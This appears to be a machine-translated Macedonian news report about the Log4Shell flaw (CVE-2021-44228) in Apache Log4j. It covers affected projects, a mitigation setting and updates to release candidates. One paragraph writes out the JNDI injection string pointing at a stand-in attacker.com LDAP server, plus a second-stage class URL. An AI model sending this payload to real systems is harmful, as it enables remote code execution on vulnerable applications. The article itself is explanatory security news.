Катастрофална ранливост во Apache Log4j што влијае на многу Java проекти

Во Apache Log4j, популарна рамка за организирање на најавување во Java апликациите, идентификувана е критична ранливост која овозможува произволен код да се изврши кога специјално форматирана вредност во форматот „{jndi:URL}“ е запишана во дневникот. Нападот може да се изврши на Java апликации кои ги запишуваат вредностите добиени од надворешни извори, на пример, кога прикажуваат проблематични вредности во пораките за грешка.

Забележано е дека скоро сите проекти што користат рамки како што се Apache Struts, Apache Solr, Apache Druid или Apache Flink се погодени од проблемот, вклучувајќи ги Steam, Apple iCloud, Minecraft клиентите и серверите. Се очекува дека ранливоста може да доведе до бран масовни напади врз корпоративни апликации, повторувајќи ја историјата на критичните пропусти во рамката Apache Struts, која, според груба проценка, се користи во веб апликации од 65% од Fortune 100 компании Вклучувајќи обиди за скенирање на мрежата за ранливи системи.

Проблемот се влошува со фактот што веќе е објавен работен експлоат, но сè уште не се составени поправки за стабилните гранки. Идентификаторот CVE сè уште не е доделен. Поправката е вклучена само во гранката за тестирање log4j-2.15.0-rc1. Како решение за блокирање на ранливоста, се препорачува да го поставите параметарот log4j2.formatMsgNoLookups на true.

Проблемот беше предизвикан од поддршката на log4j за обработка на специјални маски „{}“ во линиите за евиденција, кои може да се користат за извршување на JNDI (Java Naming and Directory Interface) барања. Нападот се сведува на пренесување на низа со замена „${jndi:ldap://attacker.com/a}“, која, кога ќе се обработи, log4j ќе ја испрати. сервер attacker.com LDAP барање за патека на класата Java. Вратено сервер Патеката на напаѓачот (на пр. http://second-stage.attacker.com/Exploit.class) ќе биде вчитана и извршена во контекст на тековниот процес, дозволувајќи му на напаѓачот да изврши произволен код на системот со привилегиите на тековната апликација.

Додаток 1: На ранливоста и е доделен идентификаторот CVE-2021-44228.

Додаток 2: Идентификуван е начин за заобиколување на заштитата додадена со ослободување log4j-2.15.0-rc1. Предложено е ново ажурирање, log4j-2.15.0-rc2 со поцелосна заштита од ранливоста. Кодот ја нагласува промената поврзана со отсуството на абнормално завршување во случај на користење на неправилно форматирана JNDI URL.

Извор: opennet.ru

Купете доверлив хостинг за сајтови со DDoS заштита, VPS VDS сервери 🔥 Купете сигурен веб-хостинг со DDoS заштита, VPS VDS сервери | ProHoster